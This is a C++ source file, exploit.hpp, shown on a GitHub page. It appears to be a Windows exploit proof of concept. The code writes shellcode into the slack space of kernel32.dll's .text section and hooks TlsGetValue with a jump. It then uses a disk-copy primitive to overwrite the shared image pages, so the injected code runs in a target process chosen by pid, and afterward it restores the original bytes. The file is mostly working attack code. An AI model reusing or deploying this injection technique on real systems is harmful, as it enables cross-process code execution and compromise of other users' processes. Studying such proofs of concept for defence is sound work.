-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathexploit.hpp
More file actions
153 lines (125 loc) · 5.02 KB
/
exploit.hpp
File metadata and controls
153 lines (125 loc) · 5.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include "disk.hpp"
bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, void (*callback)(UINT32))
{
HMODULE module = LoadLibraryW(L"kernel32.dll");
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)module;
if (dos->e_magic != 'ZM')
return false;
IMAGE_NT_HEADERS64* nt = (IMAGE_NT_HEADERS64*)((BYTE*)module + dos->e_lfanew);
if (nt->Signature != (UINT32)'EP')
return false;
PVOID tlsAddress = GetProcAddress(module, "TlsGetValue");
Log("Tls address: 0x" << tlsAddress);
UINT64 shellcodeLocation = 0;
DWORD shellcodeSize = 0;
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
for (UINT i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
if (strcmp((char*)section->Name, ".text") == 0)
{
//Assumes enough space at end of .text to drop shellcode
shellcodeLocation = (UINT64)(section->VirtualAddress + section->SizeOfRawData);
shellcodeSize = (DWORD)((((shellcodeLocation + 0xFFFULL) & ~0xFFFULL) - shellcodeLocation));
break;
}
section++;
}
if (!shellcodeLocation || !shellcodeSize)
{
Log("Failed to find shellcode section");
return 1;
}
shellcodeLocation = (UINT64)module + shellcodeLocation;
Log("Shellcode location: 0x" << shellcodeLocation << " size: 0x" << std::hex << shellcodeSize);
Log("Current bytes at tlsAddress:");
for (DWORD i = 0; i < 16; i++)
{
printf("%02X ", *((BYTE*)shellcodeLocation + i));
}
printf("\n");
PVOID shellcodePage = VirtualAlloc(NULL, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!shellcodePage)
{
Log("Failed to allocate memory for shellcode");
return 1;
}
memcpy(shellcodePage, (PVOID)((UINT64)shellcodeLocation & ~0xFFF), 0x1000);
memcpy((PVOID)((UINT64)shellcodePage + 0x1000), (PVOID)((UINT64)shellcodeLocation & ~0xFFF), 0x1000);
shellcodePage = (PVOID)((UINT64)shellcodePage + ((UINT64)shellcodeLocation & 0xFFF));
PVOID tlsPage = VirtualAlloc(NULL, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!tlsPage)
{
Log("Failed to allocate memory for tls");
return 1;
}
memcpy(tlsPage, (PVOID)((UINT64)tlsAddress & ~0xFFF), 0x1000);
memcpy((PVOID)((UINT64)tlsPage + 0x1000), (PVOID)((UINT64)tlsAddress & ~0xFFF), 0x1000);
tlsPage = (PVOID)((UINT64)tlsPage + ((UINT64)tlsAddress & 0xFFF));
UINT64 originalJmpAddress = (UINT64)tlsAddress + 5 + *(INT32*)((UINT64)tlsAddress + 1);
DWORD newJump = (DWORD)((UINT64)shellcodeLocation - ((UINT64)tlsAddress + 5));
BYTE jmp = 0xE9;
Log("New jump: 0x" << std::hex << newJump);
((BYTE*)tlsPage)[0] = 0xE9;
memcpy((PVOID)((UINT64)tlsPage + 1), &newJump, sizeof(newJump));
UINT64 shellcodeAsmSize = (UINT64)shellcodeEnd - (UINT64)shellcodeStart;
UINT64 modifiedShellcode = (UINT64)VirtualAlloc(NULL, shellcodeAsmSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy((PVOID)modifiedShellcode, (PVOID)shellcodeStart, shellcodeAsmSize);
//UINT64 allocConsole = (UINT64)GetProcAddress(module, "AllocConsole");
//if (!allocConsole)
//{
// Log("Failed to get AllocConsole address");
// return 1;
//}
for (size_t j = 0; j < shellcodeAsmSize - 4; j++) {
UINT32* candidate = (UINT32*)(modifiedShellcode + j);
if (*candidate == (UINT32)0xDEADBEEF) {
Log("Found placeholder at offset 0x" << std::hex << j << ", patching with target pid " << std::dec << pid);
*candidate = pid;
}
//if (*candidate == (UINT32)0xBEEFDEAD) {
// DWORD allocConsoleCall = (DWORD)(allocConsole - ((UINT64)shellcodeLocation + j) - 4);
// Log("Found placeholder at offset 0x" << std::hex << j << ", patching with AllocConsole call " << std::hex << allocConsoleCall);
// *candidate = allocConsoleCall;
//}
}
memcpy(shellcodePage, (PVOID)modifiedShellcode, shellcodeAsmSize);
VirtualFree((PVOID)modifiedShellcode, 0, MEM_RELEASE);
shellcodePage = (PVOID)((UINT64)shellcodePage + shellcodeAsmSize);
DWORD jumpBack = (DWORD)(originalJmpAddress - ((UINT64)shellcodeLocation + shellcodeAsmSize) - 5);
memcpy(shellcodePage, &jmp, sizeof(jmp));
memcpy((PVOID)((UINT64)shellcodePage + sizeof(jmp)), &jumpBack, sizeof(jumpBack));
if (!disk::DiskCopy((PVOID)((UINT64)shellcodeLocation & ~0xFFF), (PVOID)((UINT64)shellcodePage & ~0xFFF), 0x1000))
{
Log("Failed to copy to target");
return 1;
}
if (!disk::DiskCopy((PVOID)((UINT64)tlsAddress & ~0xFFF), (PVOID)((UINT64)tlsPage & ~0xFFF), 0x1000))
{
Log("Failed to copy to target");
return 1;
}
Log("Successfully copied to target");
if (isPageShared(tlsAddress))
{
Log("Page is shared (means the vulnerability worked)!");
}
else
{
Log("Page is not shared! (vulnerability failed)");
}
Log("Waiting to restore original bytes...");
callback(pid);
if (!disk::DiskCopy((PVOID)((UINT64)tlsAddress & ~0xFFF), (PVOID)(((UINT64)tlsPage & ~0xFFF) + 0x1000), 0x1000))
{
Log("Failed to copy original to target");
return 1;
}
if (!disk::DiskCopy((PVOID)((UINT64)shellcodeLocation & ~0xFFF), (PVOID)(((UINT64)shellcodePage & ~0xFFF) + 0x1000), 0x1000))
{
Log("Failed to copy original to target");
return 1;
}
VirtualFree((PVOID)((UINT64)shellcodePage & ~0xFFF), 0, MEM_RELEASE);
VirtualFree((PVOID)((UINT64)tlsPage & ~0xFFF), 0, MEM_RELEASE);
return 0;
}